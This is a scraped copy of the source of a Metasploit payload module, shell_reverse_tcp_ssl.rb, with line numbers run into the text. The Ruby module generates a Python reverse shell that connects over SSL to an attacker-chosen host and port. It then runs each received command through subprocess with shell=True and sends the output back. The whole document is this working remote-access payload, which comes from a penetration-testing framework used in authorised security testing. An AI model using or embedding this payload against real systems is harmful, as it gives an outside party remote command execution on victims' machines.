Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb
Views: 11765
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##456module MetasploitModule78CachedSize = :dynamic910include Msf::Payload::Single11include Msf::Payload::Python12include Msf::Sessions::CommandShellOptions1314def initialize(info = {})15super(merge_info(info,16'Name' => 'Command Shell, Reverse TCP SSL (via python)',17'Description' => 'Creates an interactive shell via Python, uses SSL, encodes with base64 by design. Compatible with Python 2.6-2.7 and 3.4+.',18'Author' => 'RageLtMan <rageltman[at]sempervictus>',19'License' => BSD_LICENSE,20'Platform' => 'python',21'Arch' => ARCH_PYTHON,22'Handler' => Msf::Handler::ReverseTcpSsl,23'Session' => Msf::Sessions::CommandShell,24'PayloadType' => 'python',25'Payload' =>26{27'Offsets' => { },28'Payload' => ''29}30))31end3233#34# Constructs the payload35#36def generate(_opts = {})37super + command_string38end3940#41# Returns the command string to use for execution42#43def command_string44cmd = <<~PYTHON45import socket as s46import subprocess as r47import ssl48so=s.socket(s.AF_INET,s.SOCK_STREAM)49so.connect(('#{datastore['LHOST']}',#{datastore['LPORT']}))50so=ssl.wrap_socket(so)51while True:52d=so.recv(1024)53if len(d)==0:54break55p=r.Popen(d.decode('utf-8'),shell=True,stdin=r.PIPE,stdout=r.PIPE,stderr=r.PIPE)56o=p.stdout.read()+p.stderr.read()57so.sendall(o)58PYTHON5960py_create_exec_stub(cmd)61end62end63646566